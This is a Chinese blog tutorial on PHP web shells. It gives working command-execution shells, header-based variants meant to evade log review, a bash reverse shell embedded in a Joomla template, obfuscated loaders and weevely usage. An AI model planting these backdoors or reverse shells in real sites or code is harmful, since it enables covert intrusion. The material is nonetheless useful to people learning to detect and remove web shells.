什么是Web Shell 在渗透测试中,对于一个远程服务器,攻击者往往会从目标主机上的http服务入手,先控制靶机上的网站,然后纵向渗透获取服务器的更高权限。为了获取对目标Web应用程序的持久访问,攻击者通常会选择上传恶意脚本,这个恶意脚本就是web shell,但是web shell本身是不能攻击或是利用远程Web应用的漏洞的。
最简单的Web Shell 如下所示是一个最简单的Web Shell:
1 2 <?php system($_GET['cmd' ]);
通过一个get请求参数cmd
,就可以让目标靶机执行系统命令,但是一些情况下,为了系统安全,可能会禁用一些函数,可以这样测试什么函数被禁用了:
1 2 3 <?php print_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/" , get_defined_functions(TRUE )["internal" ])); ?>
隐藏Web Shell 太简单的Web Shell很容易被有经验的管理员发现,所以攻击者开始寻找方法来隐藏自己上传到目标服务器上的Web Shell。
第一种方式是通过http header来传参,而不是直接通过$_POST
或是$_GET
:
1 2 <?php system($_SERVER['HTTP_USER_AGENT' ]);
但针对Web服务的入侵痕迹检测,可以通过分析日志文件来检测,比如apache服务的日志文件access.log的默认路径为/var/log/apache2/access.log
:
1 2 192.168.247.196 - - [01/Aug/2020:11:10:12 +0800] "GET /test.php HTTP/1.1" 200 414 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.168.247.196 - - [01/Aug/2020:11:30:56 +0800] "GET /test.php HTTP/1.1" 200 214 "-" "cat /etc/passwd"
当管理员查看日志文件的时候很容易看出有不正常的流量。
另一种方式是利用$_SERVER['HTTP_ACCEPT_LANGUAGE']
:
1 2 <?php system($_SERVER['HTTP_ACCEPT_LANGUAGE' ]);
1 192.168.247.196 - - [01/Aug/2020:13:04:36 +0800] "GET /test.php HTTP/1.1" 200 638 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0"
修改已存在的文件 绝大数的PHP shell都是使用c99
,r57
,b374
或是它们的变种,但是现在的免杀比较容易发现它们,所以一种比较好的隐藏方式是直接将web shell嵌入到已经存在的合法的文件中,比如:
对于一个cms,比如joomla,可以直接嵌在模板代码中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $option = $app->input->getCmd('option' , '' ); $view = $app->input->getCmd('view' , '' ); ...... $itemid = $app->input->getCmd('task' , '' ); $sitename = $app->get('sitename' ); system ("bash -c 'bash -i >& /dev/tcp/192.168.247.210/23333 0>&1'" ); if ($task === 'edit' || $layout === 'form' ){ $fullWidth = 1 ; } else { $fullWidth = 0 ; } ......
访问index.php
,监听23333端口,成功反弹shell:
代码混淆 为了避免web shell被管理员发现,或是被别的攻击者发现利用,出现为他人做嫁衣这种情况,攻击者不断想出更复杂的方法来隐藏他们的代码,代码混淆就是其中一种。
代码混淆有这么几种方式:
Whitespace 去掉了空格之后,代码的可读性就下降了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php function myshellexec ($cmd) { global $disablefunc; $result = "" ; if (!empty ($cmd)){ if (is_callable("exec" ) && !in_array("exec" ,$disablefunc)) { exec($cmd,$result); $result = join("" ,$result); } } } function myshellexec ($cmd) {global $disablefunc;$result = "" ; if (!empty ($cmd)) { if (is_callable("exec" ) and !in_array("exec" ,$disablefunc)){exec($cmd,$result); $result=join(" " ,$result);}}} ?>
Scrambling Scrambling就是置乱,可以有效地与其他技术结合使用,以帮助web shell不被发现,这种方式可以打乱代码使其的可读性大大下降,并使用各种函数在运行时重构代码 。
1 2 3 4 5 6 7 8 9 10 11 12 <?php $k='c3lzdGVtKCdscyAtbGEnKTs=' ;$c=strrev('(edoced_46esab.""nruter' )."'" .$k."');" ;$f=eval ($c);eval ($f); $k='c3lzdGVtKCdscyAtbGEnKTs=' ; $c= eval ("return base64_decode('c3lzdGVtKCdscyAtbGEnKTs=');" ); $f=eval ($c); eval ($f);
Encoding, Compression, and Replacement Techniques 除了置乱Scrambling之外,还可以通过编码,替换,压缩等方式来使代码的可读性下降,从而达到隐藏web shell真实意图的目的。
base64
:PHP中的base64加密函数为base64_encode
,解码函数为base64_decode
gzdeflate
:PHP的压缩函数,可以使用gzinflate
解压被压缩的字符串
str_rot13
:对字符串执行 ROT13 编码,该编码把每一个字母在字母表中向前移动 13 个字母,数字和非字母字符保持不变
Hex ASCII字符的Hex值可以进一步用于混淆web shell命令,以下面的字符串为例:
编码后的结果为:
1 73797374656d28276c73202d616c27293b
一个简单的例子:
1 2 3 4 5 6 7 8 9 10 11 12 <?php function dcd ($hex) {for ($i=0 ; $i < strlen($hex)-1 ; $i+=2 ){ $string .= chr(hexdec($hex[$i].$hex[$i+1 ])); } eval ($string); } dcd('73797374656d28276c73202d616c27293b' ); ?>
除了以上的几种使用编码的方式隐藏web shell之外,攻击者还可能尝试加密的方法。
weevely weevely是一个轻量级的类似PHP telnet的web shell,攻击者可以利用weevely创建后门代理,只需要指定一个密码和文件名。
使用方法为:
1 2 weevely generate <password> <path> weevely <URL> <password> [cmd]
首先生成带验证的web shell
1 2 $ ./weevely.py generate 123456 shell.php Generated 'shell.php' with password '123456' of 690 byte size.
生成的web shell是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 arch@arch:/var /www/html$ cat shell.php <?php $t='or($!i=0;$i<$l;){fo!r(!$!j=0;($j!<$c&&$i<$l);$j!++,$!i++){$o.!=$t{$!i}^$k{' ; $W='$j}!;}!}!return $o;}if (!!@p!reg_match!("!/$!kh(.+)$k!f/",@file_ge!t_conte' ; $j=str_replace('d' ,'' ,'crdedadted_fudnctdion' ); $p='!$k="e10!adc39";$k!h="49ba!59abbe56!"!;$kf="e057f20!f!88!3e";$p="SU!hsg4osD' ; $r='n();$r!=@base6!4_enco!d!e(@x(@gzcom!p!ress($o),$!k));pr!i!nt("$p$kh$r!$kf");}' ; $d='RWC!!H8GK";fu!nctio!n x($t,$k)!{!$c!=!st!rlen!($k)!;$l=strlen($t);$!o="";f' ; $E='nts("!!php://i!npu!t"),$m)=!=1) {@ob_sta!rt();@e!!val(@gzun!!compress(@x(@' ; $c='ba!!!se64_dec!!ode!($m[1]),!$k))!)!;$o=@ob_get_contents();@o!b_end_c!lea' ; $D=str_replace('!' ,'' ,$p.$d.$t.$W.$E.$c.$r); $U=$j('' ,$D);$U(); ?>
将web shell上传到目标站点后,再利用weevely连接:
1 2 3 4 5 6 7 8 9 10 11 12 13 arch@arch:~/weevely3$ ./weevely.py http://192.168.247.196/shell.php 123456 [+] weevely 4.0.1 [+] Target: 192.168.247.196 [+] Session: /home/arch/.weevely/sessions/192.168.247.196/shell_0.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. weevely> uname -r 4.15.0-96-generic www-data@arch:/var/www/html $
参考
Part 1 An Introduction to Web Shells
Part 2 Web Shells 101 Using PHP
Part 3 Keeping Web Shells Under Cover
Part 4 Web Shells in Action
Author:
Bantian
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
早睡早起身体好